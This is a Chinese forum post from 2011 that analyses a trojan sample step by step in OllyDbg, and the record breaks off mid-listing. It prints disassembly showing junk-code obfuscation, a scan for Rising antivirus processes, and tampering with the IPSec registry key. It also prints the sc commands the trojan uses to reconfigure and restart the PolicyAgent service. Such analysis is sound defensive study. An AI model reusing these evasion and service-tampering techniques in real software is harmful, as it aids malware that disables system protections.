对一款病毒的详细分析，愚人节快乐 by 曹无咎[LSG]
本帖最后由 是昔流芳 于 2011-4-1 22:02 编辑文章标题：对一款木马的详细分析
作者：曹无咎
工具：OD，PEid
时间：2011.4.1
样本：见附件
说明：菜鸟对一款木马的分析，失误之处还请大家指出
这是在52pojie样本区下载的病毒样本，之前也分析过一个启发小马，趁现在还有空闲时间，抓紧分析分析。
（宿舍的兄弟都在准备考研，我一个人在宿舍很是寂寞，嘿嘿~~）
第一步：先用PEid查壳，发现是款压缩壳：WinUpack 0.32-0.39 final by Dwing，这个壳脱壳很简单，单步即可脱之，
我们来到oep：
0041EAE0/.55 push ebp
0041EAE1|.8BEC mov ebp, esp
0041EAE3|.81EC 18040000 sub esp, 418
到达OEP后，我们就可以单步F8分析这个病毒到底做了哪些事情。
第二步：
OD载入，
0041EAE0/.55 push ebp
0041EAE1|.8BEC mov ebp, esp
0041EAE3|.81EC 18040000 sub esp, 418
0041EAE9|.53 push ebx
0041EAEA|.56 push esi
0041EAEB|.57 push edi
0041EAEC|.60 pushad
0041EAED|.83C0 12 add eax, 12
0041EAF0|.83C3 13 add ebx, 13
0041EAF3|.83C1 14 add ecx, 14
0041EAF6|.61 popad
0041EAF7|.90 nop
0041EAF8|.90 nop
0041EAF9|.03DA add ebx, edx
0041EAFB|.90 nop
0041EAFC|.90 nop
0041EAFD|.03DA add ebx, edx
0041EAFF|.90 nop
0041EB00|.F7D2 not edx
0041EB02|.90 nop
0041EB03|.90 nop
0041EB04|.90 nop
0041EB05|.42 inc edx
0041EB06|.90 nop
0041EB07|.90 nop
0041EB08|.03DA add ebx, edx
0041EB0A|.90 nop
0041EB0B|.90 nop
0041EB0C|.F7DA neg edx
0041EB0E|.90 nop
0041EB0F|.90 nop
0041EB10|.60 pushad
0041EB11|.33C0 xor eax, eax
0041EB13|>90 /nop
0041EB14|.83EC 0C |sub esp, 0C
0041EB17|.83C0 0C |add eax, 0C
0041EB1A|.36:833C24 00|cmp dword ptr , 0
0041EB1F|.^ 74 F2 \je short 0041EB13
0041EB21|.03E0 add esp, eax
0041EB23|.61 popad
0041EB24|.90 nop
0041EB25|.90 nop
0041EB26|.03DA add ebx, edx
0041EB28|.90 nop
0041EB29|.90 nop
0041EB2A|.03DA add ebx, edx
0041EB2C|.90 nop
0041EB2D|.F7D2 not edx
0041EB2F|.90 nop
0041EB30|.90 nop
0041EB31|.90 nop
0041EB32|.42 inc edx
0041EB33|.90 nop
0041EB34|.90 nop
0041EB35|.03DA add ebx, edx
0041EB37|.90 nop
0041EB38|.90 nop
0041EB39|.F7DA neg edx
0041EB3B|.90 nop
0041EB3C|.90 nop
0041EB3D|.60 pushad
0041EB3E|.81E9 99000000 sub ecx, 99
0041EB44|.90 nop
0041EB45|.35 99000000 xor eax, 99
0041EB4A|.90 nop
0041EB4B|.2D 99000000 sub eax, 99
0041EB50|.61 popad
0041EB51|.90 nop
0041EB52|.90 nop
0041EB53|.03D3 add edx, ebx
0041EB55|.90 nop
0041EB56|.90 nop
0041EB57|.03D3 add edx, ebx
0041EB59|.90 nop
0041EB5A|.F7D3 not ebx
0041EB5C|.90 nop
0041EB5D|.90 nop
0041EB5E|.90 nop
0041EB5F|.43 inc ebx
0041EB60|.90 nop
0041EB61|.90 nop
0041EB62|.03D3 add edx, ebx
0041EB64|.90 nop
0041EB65|.90 nop
0041EB66|.F7DB neg ebx
0041EB68|.90 nop
0041EB69|.90 nop
这段代码是在进行重定位，确定kernel.dll的地址，这个编码有点奇怪~~~
继续向下分析，主程序会创建一个互斥量“mlgbcao”（名字有点不和谐），用来防止重复启动：
0041EB6A|.68 D4CE4100 push 0041CED4 ;ASCII "MLGBCAO."
0041EB6F|.6A 00 push 0
0041EB71|.6A 00 push 0
0041EB73|.FF15 5C104000 call dword ptr kernel.CreateMutexA
0041EB79|.FF15 18104000 call dword ptr 获取最近一次一异常
0041EB7F|.3D B7000000 cmp eax, 0B7 eax与0B7h作比较
0041EB84|.75 08 jnz short 0041EB8E 不等则跳，这里跳走了，我们改标志位不让他跳
0041EB86|.6A 00 push 0
0041EB88|.FF15 58104000 call dword ptr exitprocess，退出函数，一定要跳走
接下来，程序会继续定位函数地址，获取现在正在活动的窗口的窗口句柄并显示窗口
0041EB8E 90 nop
0041EB8F 90 nop
0041EB90 03C8 add ecx,eax
0041EB92 90 nop
0041EB93 90 nop
0041EB94 03C8 add ecx,eax
0041EB96 90 nop
0041EB97 F7D0 not eax
0041EB99 90 nop
0041EB9A 90 nop
0041EB9B 90 nop
0041EB9C 40 inc eax
0041EB9D 90 nop
0041EB9E 90 nop
0041EB9F 03C8 add ecx,eax
0041EBA1 90 nop
0041EBA2 90 nop
0041EBA3 F7D8 neg eax
0041EBA5 90 nop
0041EBA6 90 nop
0041EBA7 B9 3F000000 mov ecx,3F
0041EBAC 33C0 xor eax,eax
0041EBAE 8DBD E8FBFFFF lea edi,dword ptr ss:
0041EBB4 F3:AB rep stos dword ptr es:
0041EBB6 66:AB stos word ptr es:
0041EBB8 AA stos byte ptr es:
0041EBB9 FF15 C4104000 call dword ptr ds:[<&USER32.GetActiveWindow>] ; user32.GetActiveWindow
0041EBBF 90 nop
0041EBC0 90 nop
0041EBC1 03C8 add ecx,eax
0041EBC3 90 nop
0041EBC4 90 nop
0041EBC5 03C8 add ecx,eax
0041EBC7 90 nop
0041EBC8 F7D0 not eax
0041EBCA 90 nop
0041EBCB 90 nop
0041EBCC 90 nop
0041EBCD 40 inc eax
0041EBCE 90 nop
0041EBCF 90 nop
0041EBD0 03C8 add ecx,eax
0041EBD2 90 nop
0041EBD3 90 nop
0041EBD4 F7D8 neg eax
0041EBD6 90 nop
0041EBD7 90 nop
0041EBD8 60 pushad
0041EBD9 81E9 99000000 sub ecx,99
0041EBDF 90 nop
0041EBE0 35 99000000 xor eax,99
0041EBE5 90 nop
0041EBE6 2D 99000000 sub eax,99
0041EBEB 61 popad
0041EBEC 90 nop
0041EBED 90 nop
0041EBEE 03D3 add edx,ebx
0041EBF0 90 nop
0041EBF1 90 nop
0041EBF2 03D3 add edx,ebx
0041EBF4 90 nop
0041EBF5 F7D3 not ebx
0041EBF7 90 nop
0041EBF8 90 nop
0041EBF9 90 nop
0041EBFA 43 inc ebx
0041EBFB 90 nop
0041EBFC 90 nop
0041EBFD 03D3 add edx,ebx
0041EBFF 90 nop
0041EC00 90 nop
0041EC01 F7DB neg ebx
0041EC03 90 nop
0041EC04 90 nop
0041EC05 FF15 C4104000 call dword ptr ds:[<&USER32.GetActiveWindow>] ; user32.GetActiveWindow
0041EC0B 6A 05 push 5
0041EC0D 50 push eax
0041EC0E FF15 B8104000 call dword ptr ds:[<&USER32.ShowWindow>] ; user32.ShowWindow
ShowWindow：
0012FB94 00000000|hWnd = NULL
0012FB98 00000005\ShowState = SW_SHOW
继续单步向下走：
0041EC14 60 pushad
0041EC15 81E9 99000000 sub ecx,99
0041EC1B 90 nop
0041EC1C 35 99000000 xor eax,99
0041EC21 90 nop
0041EC22 2D 99000000 sub eax,99
0041EC27 61 popad
0041EC28 68 F09AB86F push 6FB89AF0
0041EC2D 6A 01 push 1
0041EC2F E8 AC030000 call x1un_.0041EFE0 这个函数是做什么的呢？我们进去看看，
定位程序进入点（可移植性定位），无什么实际意义，代码我就不贴了
0041EC34 6A 00 push 0 pThreadId = NULL
0041EC36 6A 00 push 0 CreationFlags = 0
0041EC38 6A 00 push 0 pThreadParm = NULL
0041EC3A 68 10EA4100 push x1un_.0041EA10 0012FB8C 0041EA10|ThreadFunction = x1un_.0041EA10
0041EC3F 6A 00 push 0 StackSize = 0
0041EC41 6A 00 push 0 0012FB84 00000000|pSecurity = NULL
0041EC43 FFD0 call eax CreateThread，创建线程
0041EC45 68 94110000 push 1194
0041EC4A E8 F1F1FFFF call x1un_.0041DE40 加载kernel32.dll进去看看
{
0041DE40 83EC 18 sub esp,18
0041DE43 B0 65 mov al,65
0041DE45 56 push esi
0041DE46 884424 06 mov byte ptr ss:,al 这里是进行字符之间的转换
0041DE4A 884424 07 mov byte ptr ss:,al
0041DE4E 884424 0D mov byte ptr ss:,al
0041DE52 884424 10 mov byte ptr ss:,al
0041DE56 8D4424 0C lea eax,dword ptr ss:
0041DE5A B1 6C mov cl,6C
0041DE5C 50 push eax
0041DE5D C64424 08 53 mov byte ptr ss:,53
0041DE62 884C24 09 mov byte ptr ss:,cl
0041DE66 C64424 0C 70 mov byte ptr ss:,70
0041DE6B C64424 0D 00 mov byte ptr ss:,0
0041DE70 C64424 10 4B mov byte ptr ss:,4B
0041DE75 C64424 12 72 mov byte ptr ss:,72
0041DE7A C64424 13 6E mov byte ptr ss:,6E
0041DE7F 884C24 15 mov byte ptr ss:,cl
0041DE83 C64424 16 33 mov byte ptr ss:,33
0041DE88 C64424 17 32 mov byte ptr ss:,32
0041DE8D C64424 18 2E mov byte ptr ss:,2E
0041DE92 C64424 19 64 mov byte ptr ss:,64
0041DE97 884C24 1A mov byte ptr ss:,cl
0041DE9B 884C24 1B mov byte ptr ss:,cl
0041DE9F C64424 1C 00 mov byte ptr ss:,0
0041DEA4 FF15 24104000 call dword ptr ds:[<&KERNEL32.LoadLibraryA>] ; kernel32.LoadLibraryA
0041DEAA 8D4C24 04 lea ecx,dword ptr ss: ; sleep
0041DEAE 8BF0 mov esi,eax ; kernel32的基址7C800000
0041DEB0 51 push ecx
0041DEB1 56 push esi ; 7c800000
0041DEB2 FF15 20104000 call dword ptr ds:[<&KERNEL32.GetProcAddress>] ; kernel32.GetProcAddress
0041DEB8 85C0 test eax,eax
0041DEBA 74 15 je short x1un_.0041DED1
0041DEBC 8B5424 20 mov edx,dword ptr ss:
0041DEC0 52 push edx
0041DEC1 FFD0 call eax
0041DEC3 56 push esi ; 基址7c800000
0041DEC4 FF15 30104000 call dword ptr ds:[<&KERNEL32.FreeLibrary>] ; kernel32.FreeLibrary
0041DECA 33C0 xor eax,eax
0041DECC 5E pop esi
0041DECD 83C4 18 add esp,18
0041DED0 C3 retn
}
上面的代码，创建了一个线程，加载了kernel32.dll，准备干坏事了
0041EC4F 90 nop 函数基址定位
0041EC50 90 nop
0041EC51 03C8 add ecx,eax
0041EC53 90 nop
0041EC54 90 nop
0041EC55 03C8 add ecx,eax
0041EC57 90 nop
0041EC58 F7D0 not eax
0041EC5A 90 nop
0041EC5B 90 nop
0041EC5C 90 nop
0041EC5D 40 inc eax
0041EC5E 90 nop
0041EC5F 90 nop
0041EC60 03C8 add ecx,eax
0041EC62 90 nop
0041EC63 90 nop
0041EC64 F7D8 neg eax
0041EC66 90 nop
0041EC67 90 nop
0041EC68 E8 03F8FFFF call x1un_.0041E470 ; 关键，call进去
{
0041E470 55 push ebp 很明显，建立一个栈
0041E471 8BEC mov ebp,esp
0041E473 81EC 90050000 sub esp,590 大小590h
0041E479 B0 64 mov al,64 d
0041E47B B2 38 mov dl,38 8
0041E47D 53 push ebx 7923AA28
0041E47E 8845 E2 mov byte ptr ss:,al d
0041E481 8855 E4 mov byte ptr ss:,dl 8
0041E484 8845 EE mov byte ptr ss:,al d
0041E487 8855 F0 mov byte ptr ss:,dl 8
0041E48A 8845 D6 mov byte ptr ss:,al d
0041E48D 8855 D8 mov byte ptr ss:,dl 8
0041E490 8845 DA mov byte ptr ss:,al d
0041E493 B1 61 mov cl,61
0041E495 33DB xor ebx,ebx
0041E497 B0 74 mov al,74
0041E499 B2 6F mov dl,6F
0041E49B 56 push esi
0041E49C 57 push edi
0041E49D 884D E0 mov byte ptr ss:,cl 这里对栈分配数据，估计生成文件时会用到
0041E4A0 C645 E1 6D mov byte ptr ss:,6D
0041E4A4 C645 E3 6B mov byte ptr ss:,6B
0041E4A8 C645 E5 2E mov byte ptr ss:,2E
0041E4AC C645 E6 73 mov byte ptr ss:,73
0041E4B0 C645 E7 79 mov byte ptr ss:,79
0041E4B4 C645 E8 73 mov byte ptr ss:,73
0041E4B8 885D E9 mov byte ptr ss:,bl
0041E4BB 884D EC mov byte ptr ss:,cl
0041E4BE C645 ED 6D mov byte ptr ss:,6D
0041E4C2 C645 EF 6B mov byte ptr ss:,6B
0041E4C6 C645 F1 2E mov byte ptr ss:,2E
0041E4CA C645 F2 69 mov byte ptr ss:,69
0041E4CE C645 F3 6E mov byte ptr ss:,6E
0041E4D2 C645 F4 66 mov byte ptr ss:,66
0041E4D6 885D F5 mov byte ptr ss:,bl
0041E4D9 884D D4 mov byte ptr ss:,cl
0041E4DC C645 D5 6D mov byte ptr ss:,6D
0041E4E0 C645 D7 6B mov byte ptr ss:,6B
0041E4E4 C645 D9 2E mov byte ptr ss:,2E
0041E4E8 C645 DB 6C mov byte ptr ss:,6C
0041E4EC C645 DC 6C mov byte ptr ss:,6C
0041E4F0 885D DD mov byte ptr ss:,bl
0041E4F3 8845 F8 mov byte ptr ss:,al
0041E4F6 C645 F9 65 mov byte ptr ss:,65
0041E4FA C645 FA 73 mov byte ptr ss:,73
0041E4FE 8845 FB mov byte ptr ss:,al
0041E501 884D FC mov byte ptr ss:,cl
0041E504 C645 FD 6C mov byte ptr ss:,6C
0041E508 C645 FE 6C mov byte ptr ss:,6C
0041E50C 885D FF mov byte ptr ss:,bl
0041E50F C685 70FFFFFF 6>mov byte ptr ss:,63
0041E516 8895 71FFFFFF mov byte ptr ss:,dl
0041E51C C685 72FFFFFF 6>mov byte ptr ss:,6E
0041E523 C685 73FFFFFF 6>mov byte ptr ss:,66
0041E52A C685 74FFFFFF 6>mov byte ptr ss:,69
0041E531 C685 75FFFFFF 6>mov byte ptr ss:,67
0041E538 C685 76FFFFFF 2>mov byte ptr ss:,20
0041E53F C685 77FFFFFF 5>mov byte ptr ss:,50
0041E546 8895 78FFFFFF mov byte ptr ss:,dl
0041E54C C685 79FFFFFF 6>mov byte ptr ss:,6C
0041E553 C685 7AFFFFFF 6>mov byte ptr ss:,69
0041E55A C685 7BFFFFFF 6>mov byte ptr ss:,63
0041E561 C685 7CFFFFFF 7>mov byte ptr ss:,79
0041E568 C685 7DFFFFFF 4>mov byte ptr ss:,41
0041E56F C685 7EFFFFFF 6>mov byte ptr ss:,67
0041E576 C685 7FFFFFFF 6>mov byte ptr ss:,65
0041E57D C645 80 6E mov byte ptr ss:,6E
0041E581 8845 81 mov byte ptr ss:,al
0041E584 C645 82 20 mov byte ptr ss:,20
0041E588 C645 83 73 mov byte ptr ss:,73
0041E58C 8845 84 mov byte ptr ss:,al
0041E58F 884D 85 mov byte ptr ss:,cl
0041E592 C645 86 72 mov byte ptr ss:,72
0041E596 8845 87 mov byte ptr ss:,al
0041E599 C645 88 3D mov byte ptr ss:,3D
0041E59D C645 89 20 mov byte ptr ss:,20
0041E5A1 884D 8A mov byte ptr ss:,cl
0041E5A4 C645 8B 75 mov byte ptr ss:,75
0041E5A8 8845 8C mov byte ptr ss:,al
0041E5AB 8855 8D mov byte ptr ss:,dl
0041E5AE 885D 8E mov byte ptr ss:,bl
0041E5B1 C645 A4 73 mov byte ptr ss:,73
0041E5B5 8845 A5 mov byte ptr ss:,al
0041E5B8 8855 A6 mov byte ptr ss:,dl
0041E5BB 8845 B3 mov byte ptr ss:,al
0041E5BE 8845 91 mov byte ptr ss:,al
0041E5C1 884D 92 mov byte ptr ss:,cl
0041E5C4 8845 94 mov byte ptr ss:,al
0041E5C7 8845 A0 mov byte ptr ss:,al
0041E5CA 884D BD mov byte ptr ss:,cl
0041E5CD 884D C9 mov byte ptr ss:,cl
0041E5D0 B9 3F000000 mov ecx,3F
0041E5D5 33C0 xor eax,eax
0041E5D7 8DBD 70FAFFFF lea edi,dword ptr ss:
0041E5DD F3:AB rep stos dword ptr es:
0041E5DF 66:AB stos word ptr es:
0041E5E1 C645 A7 70 mov byte ptr ss:,70
0041E5E5 C645 A8 20 mov byte ptr ss:,20
0041E5E9 C645 A9 50 mov byte ptr ss:,50
0041E5ED 8855 AA mov byte ptr ss:,dl
0041E5F0 C645 AB 6C mov byte ptr ss:,6C
0041E5F4 C645 AC 69 mov byte ptr ss:,69
0041E5F8 C645 AD 63 mov byte ptr ss:,63
0041E5FC C645 AE 79 mov byte ptr ss:,79
0041E600 C645 AF 41 mov byte ptr ss:,41
0041E604 C645 B0 67 mov byte ptr ss:,67
0041E608 C645 B1 65 mov byte ptr ss:,65
0041E60C C645 B2 6E mov byte ptr ss:,6E
0041E610 885D B4 mov byte ptr ss:,bl
0041E613 C645 90 73 mov byte ptr ss:,73
0041E617 C645 93 72 mov byte ptr ss:,72
0041E61B C645 95 20 mov byte ptr ss:,20
0041E61F C645 96 50 mov byte ptr ss:,50
0041E623 8855 97 mov byte ptr ss:,dl
0041E626 C645 98 6C mov byte ptr ss:,6C
0041E62A C645 99 69 mov byte ptr ss:,69
0041E62E C645 9A 63 mov byte ptr ss:,63
0041E632 C645 9B 79 mov byte ptr ss:,79
0041E636 C645 9C 41 mov byte ptr ss:,41
0041E63A C645 9D 67 mov byte ptr ss:,67
0041E63E C645 9E 65 mov byte ptr ss:,65
0041E642 C645 9F 6E mov byte ptr ss:,6E
0041E646 885D A1 mov byte ptr ss:,bl
0041E649 C645 B8 70 mov byte ptr ss:,70
0041E64D C645 B9 72 mov byte ptr ss:,72
0041E651 8855 BA mov byte ptr ss:,dl
0041E654 C645 BB 67 mov byte ptr ss:,67
0041E658 C645 BC 72 mov byte ptr ss:,72
0041E65C C645 BE 7E mov byte ptr ss:,7E
0041E660 C645 BF 31 mov byte ptr ss:,31
0041E664 C645 C0 5C mov byte ptr ss:,5C
0041E668 C645 C1 41 mov byte ptr ss:,41
0041E66C C645 C2 54 mov byte ptr ss:,54
0041E670 C645 C3 49 mov byte ptr ss:,49
0041E674 885D C4 mov byte ptr ss:,bl
0041E677 C645 C8 52 mov byte ptr ss:,52
0041E67B C645 CA 76 mov byte ptr ss:,76
0041E67F C645 CB 4D mov byte ptr ss:,4D
0041E683 8855 CC mov byte ptr ss:,dl
0041E686 C645 CD 6E mov byte ptr ss:,6E
0041E68A C645 CE 44 mov byte ptr ss:,44
0041E68E C645 CF 2E mov byte ptr ss:,2E
0041E692 C645 D0 65 mov byte ptr ss:,65
0041E696 C645 D1 78 mov byte ptr ss:,78
0041E69A C645 D2 65 mov byte ptr ss:,65
0041E69E 885D D3 mov byte ptr ss:,bl
0041E6A1 AA stos byte ptr es:
0041E6A2 90 nop
0041E6A3 90 nop
0041E6A4 03DA add ebx,edx
0041E6A6 90 nop
0041E6A7 90 nop
0041E6A8 03DA add ebx,edx
0041E6AA 90 nop
0041E6AB F7D2 not edx
0041E6AD 90 nop
0041E6AE 90 nop
0041E6AF 90 nop
0041E6B0 42 inc edx
0041E6B1 90 nop
0041E6B2 90 nop
0041E6B3 03DA add ebx,edx
0041E6B5 90 nop
0041E6B6 90 nop
0041E6B7 F7DA neg edx
0041E6B9 90 nop
0041E6BA 90 nop
0041E6BB 8D45 C8 lea eax,dword ptr ss: RavMondD.exe明显瑞星主程序
0041E6BE 50 push eax
0041E6BF E8 BCF8FFFF call x1un_.0041DF80 创建进程快照，开始遍历进程，查找瑞星进程
这里就是很基本的函数了：CreateToolhelp32Snapshot,Process32First,Process32Next,没有找到瑞星进程~~~~
0041E6C4 83C4 04 add esp,4
0041E6C7 85C0 test eax,eax
0041E6C9 75 78 jnz short x1un_.0041E743 此处没有跳
0041E6CB E8 90FBFFFF call x1un_.0041E260 这个函数关键（重启IPSec 服务），跟进看看
{
0041E260 81EC 3C020000 sub esp,23C 分配空间
0041E266 B0 6F mov al,6F 下面就是初始化空间了，最后会打开注册表的IPSec
0041E268 53 push ebx
0041E269 884424 0E mov byte ptr ss:,al
0041E26D B3 69 mov bl,69
0041E26F 884424 1A mov byte ptr ss:,al
0041E273 884424 1C mov byte ptr ss:,al
0041E277 884424 24 mov byte ptr ss:,al
0041E27B 884424 2F mov byte ptr ss:,al
0041E27F 884424 36 mov byte ptr ss:,al
0041E283 B1 5C mov cl,5C
0041E285 8D4424 3C lea eax,dword ptr ss:
0041E289 885C24 10 mov byte ptr ss:,bl
0041E28D 885C24 12 mov byte ptr ss:,bl
0041E291 885C24 17 mov byte ptr ss:,bl
0041E295 885C24 21 mov byte ptr ss:,bl
0041E299 885C24 31 mov byte ptr ss:,bl
0041E29D 884C24 0C mov byte ptr ss:,cl
0041E2A1 884C24 15 mov byte ptr ss:,cl
0041E2A5 884C24 1F mov byte ptr ss:,cl
0041E2A9 884C24 27 mov byte ptr ss:,cl
0041E2AD 884C24 2D mov byte ptr ss:,cl
0041E2B1 884C24 34 mov byte ptr ss:,cl
0041E2B5 33DB xor ebx,ebx
0041E2B7 50 push eax
0041E2B8 68 3F000F00 push 0F003F
0041E2BD 8D4C24 0C lea ecx,dword ptr ss:
0041E2C1 53 push ebx
0041E2C2 B2 63 mov dl,63
0041E2C4 51 push ecx
0041E2C5 68 02000080 push 80000002
0041E2CA C64424 18 53 mov byte ptr ss:,53
0041E2CF C64424 19 4F mov byte ptr ss:,4F
0041E2D4 C64424 1A 46 mov byte ptr ss:,46
0041E2D9 C64424 1B 54 mov byte ptr ss:,54
0041E2DE C64424 1C 57 mov byte ptr ss:,57
0041E2E3 C64424 1D 41 mov byte ptr ss:,41
0041E2E8 C64424 1E 52 mov byte ptr ss:,52
0041E2ED C64424 1F 45 mov byte ptr ss:,45
0041E2F2 C64424 21 50 mov byte ptr ss:,50
0041E2F7 C64424 23 6C mov byte ptr ss:,6C
0041E2FC 885424 25 mov byte ptr ss:,dl
0041E300 C64424 27 65 mov byte ptr ss:,65
0041E305 C64424 28 73 mov byte ptr ss:,73
0041E30A C64424 2A 4D mov byte ptr ss:,4D
0041E30F 885424 2C mov byte ptr ss:,dl
0041E313 C64424 2D 72 mov byte ptr ss:,72
0041E318 C64424 2F 73 mov byte ptr ss:,73
0041E31D C64424 31 66 mov byte ptr ss:,66
0041E322 C64424 32 74 mov byte ptr ss:,74
0041E327 C64424 34 57 mov byte ptr ss:,57
0041E32C C64424 36 6E mov byte ptr ss:,6E
0041E331 C64424 37 64 mov byte ptr ss:,64
0041E336 C64424 39 77 mov byte ptr ss:,77
0041E33B C64424 3A 73 mov byte ptr ss:,73
0041E340 C64424 3C 49 mov byte ptr ss:,49
0041E345 C64424 3D 50 mov byte ptr ss:,50
0041E34A C64424 3E 53 mov byte ptr ss:,53
0041E34F C64424 3F 65 mov byte ptr ss:,65
0041E354 885424 40 mov byte ptr ss:,dl
0041E358 C64424 42 50 mov byte ptr ss:,50
0041E35D C64424 44 6C mov byte ptr ss:,6C
0041E362 885424 46 mov byte ptr ss:,dl
0041E366 C64424 47 79 mov byte ptr ss:,79
0041E36B C64424 49 4C mov byte ptr ss:,4C
0041E370 885424 4B mov byte ptr ss:,dl
0041E374 C64424 4C 61 mov byte ptr ss:,61
0041E379 C64424 4D 6C mov byte ptr ss:,6C
0041E37E 885C24 4E mov byte ptr ss:,bl
上面的代码形成了注册表路径：SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local
0041E382 E8 59FDFFFF call x1un_.0041E0E0
这个函数前面已经出现过了，就是加载DLL，这次加载的是advapi32，基址是：77DA0000，开始对注册表进行操作
{
0041E0E0 83EC 20 sub esp,20
0041E0E3 B0 65 mov al,65
0041E0E5 56 push esi
0041E0E6 884424 15 mov byte ptr ss:,al
0041E0EA 884424 19 mov byte ptr ss:,al
0041E0EE 884424 1C mov byte ptr ss:,al
0041E0F2 B0 64 mov al,64
0041E0F4 884424 05 mov byte ptr ss:,al
0041E0F8 884424 0D mov byte ptr ss:,al
0041E0FC B0 6C mov al,6C
0041E0FE B2 70 mov dl,70
0041E100 884424 0E mov byte ptr ss:,al
0041E104 884424 0F mov byte ptr ss:,al
0041E108 8D4424 04 lea eax,dword ptr ss:
0041E10C B1 61 mov cl,61
0041E10E 50 push eax
0041E10F C64424 18 52 mov byte ptr ss:,52
0041E114 C64424 1A 67 mov byte ptr ss:,67
0041E119 C64424 1B 4F mov byte ptr ss:,4F
0041E11E 885424 1C mov byte ptr ss:,dl
0041E122 C64424 1E 6E mov byte ptr ss:,6E
0041E127 C64424 1F 4B mov byte ptr ss:,4B
0041E12C C64424 21 79 mov byte ptr ss:,79
0041E131 C64424 22 45 mov byte ptr ss:,45
0041E136 C64424 23 78 mov byte ptr ss:,78
0041E13B C64424 24 41 mov byte ptr ss:,41
0041E140 C64424 25 00 mov byte ptr ss:,0
0041E145 884C24 08 mov byte ptr ss:,cl
0041E149 C64424 0A 76 mov byte ptr ss:,76
0041E14E 884C24 0B mov byte ptr ss:,cl
0041E152 885424 0C mov byte ptr ss:,dl
0041E156 C64424 0D 69 mov byte ptr ss:,69
0041E15B C64424 0E 33 mov byte ptr ss:,33
0041E160 C64424 0F 32 mov byte ptr ss:,32
0041E165 C64424 10 2E mov byte ptr ss:,2E
0041E16A C64424 14 00 mov byte ptr ss:,0
0041E16F FF15 24104000 call dword ptr ds:[<&KERNEL32.LoadLibraryA>] ; kernel32.LoadLibraryA
0041E175 8D4C24 14 lea ecx,dword ptr ss: ; RegOpenKeyExA
0041E179 8BF0 mov esi,eax ; advapi32的基址：77da0000
0041E17B 51 push ecx ; RegOpenKeyExA
0041E17C 56 push esi ; 基址
0041E17D FF15 20104000 call dword ptr ds:[<&KERNEL32.GetProcAddress>] ; GetProcAddress
0041E183 85C0 test eax,eax
0041E185 74 2D je short x1un_.0041E1B4
0041E187 8B5424 38 mov edx,dword ptr ss:
0041E18B 8B4C24 34 mov ecx,dword ptr ss:
0041E18F 57 push edi
0041E190 52 push edx
0041E191 8B5424 38 mov edx,dword ptr ss:
0041E195 51 push ecx
0041E196 8B4C24 38 mov ecx,dword ptr ss:
0041E19A 52 push edx
0041E19B 8B5424 38 mov edx,dword ptr ss:
0041E19F 51 push ecx ; SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local
0041E1A0 52 push edx
0041E1A1 FFD0 call eax ; RegOpenKeyExA
0041E1A3 56 push esi
0041E1A4 8BF8 mov edi,eax
0041E1A6 FF15 30104000 call dword ptr ds:[<&KERNEL32.FreeLibrary>] ; kernel32.FreeLibrary
0041E1AC 8BC7 mov eax,edi
0041E1AE 5F pop edi
0041E1AF 5E pop esi
0041E1B0 83C4 20 add esp,20
0041E1B3 C3 retn
}
0041E387 83C4 14 add esp,14
0041E38A 85C0 test eax,eax
0041E38C 74 0A je short x1un_.0041E398 跳转未实现
0041E38E 33C0 xor eax,eax
0041E390 5B pop ebx
0041E391 81C4 3C020000 add esp,23C
0041E397 C3 retn
}
0041E6D0 68 D0070000 push 7D0
0041E6D5 E8 66F7FFFF call x1un_.0041DE40 这个函数前面分析过 ；同理这个函数加载Kernel.dll
0041E6DA 53 push ebx
0041E6DB 8D8D 70FFFFFF lea ecx,dword ptr ss: config PolicyAgent start= auto
配置policyagent为自动启动
0041E6E1 53 push ebx
0041E6E2 51 push ecx
0041E6E3 68 B0CE4100 push x1un_.0041CEB0 ; ASCII "sc"
0041E6E8 68 E8CD4100 push x1un_.0041CDE8 ; ASCII "open"
0041E6ED 53 push ebx
0041E6EE E8 EDF7FFFF call x1un_.0041DEE0
加载shell32.dll（基址为7D590000），并运行函数shellexecuteA，上面这个call的作用是，通过定位shell32.dll，找到函数shellexecuteA，
实现 “ config PolicyAgent start= auto”。。。~~~嘿嘿，下面的代码类似，同样是实现了某些功能，听我细细分析。。
0041E6F3 68 A00F0000 push 0FA0
0041E6F8 E8 43F7FFFF call x1un_.0041DE40
0041E6FD 53 push ebx 7c99e16f
0041E6FE 8D55 A4 lea edx,dword ptr ss: stop PolicyAgent
0041E701 53 push ebx
0041E702 52 push edx
0041E703 68 B0CE4100 push x1un_.0041CEB0 ; ASCII "sc"
0041E708 68 E8CD4100 push x1un_.0041CDE8 ; ASCII "open"
0041E70D 53 push ebx
0041E70E E8 CDF7FFFF call x1un_.0041DEE0
同理，加载shell32.dll，运行函数shellexecuteA实现：stop PolicyAgent
0041E713 68 A00F0000 push 0FA0
0041E718 E8 23F7FFFF call x1un_.0041DE40 加载kernel32.dll
0041E71D 53 push ebx
0041E71E 8D45 90 lea eax,dword ptr ss: start PolicyAgent
0041E721 53 push ebx
0041E722 50 push eax
0041E723 68 B0CE4100 push x1un_.0041CEB0 ; ASCII "sc"
0041E728 68 E8CD4100 push x1un_.0041CDE8 ; ASCII "open"
0041E72D 53 push ebx
0041E72E E8 ADF7FFFF call x1un_.0041DEE0
同理同理，加载shell32.dll，运行函数shellexecuteA实现：start PolicyAgent
从0041EC68--0041E72E进行总结：首先是创建一个线程，该线程的主要功能是查找瑞星进程，如果没有找到瑞星进程，则通过注册表打开
IPSec，并执行以下操作：
"config PolicyAgent start= auto"
"stop PolicyAgent"
"start PolicyAgent"
ok，继续向下分析，好累啊~~~
0041E733 83C4 54 add esp,54
0041E736 68 401F0000 push 1F40
0041E73B E8 00F7FFFF call x1un_.0041DE40
0041E740 83C4 04 add esp,4
0041E743 60 pushad
0041E744 03C9 add ecx,ecx
0041E746 2D 88000000 sub eax,88
0041E74B 03C0 add eax,eax
0041E74D 61 popad
0041E74E B9 3F000000 mov ecx,3F
0041E753 33C0 xor eax,eax
0041E755 8DBD 70FEFFFF lea edi,dword ptr ss:
0041E75B F3:AB rep stos dword ptr es:
0041E75D 66:AB stos word ptr es:
0041E75F AA stos byte ptr es:
0041E760 B9 3F000000 mov ecx,3F
0041E765 33C0 xor eax,eax
0041E767 8DBD 70FAFFFF lea edi,dword ptr ss:
0041E76D F3:AB rep stos dword ptr es:
0041E76F 66:AB stos word ptr es:
0041E771 AA stos byte ptr es:
0041E772 B9 3F000000 mov ecx,3F
0041E777 33C0 xor eax,eax
0041E779 8DBD 70FDFFFF lea edi,dword ptr ss:
0041E77F F3:AB rep stos dword ptr es:
0041E781 66:AB stos word ptr es:
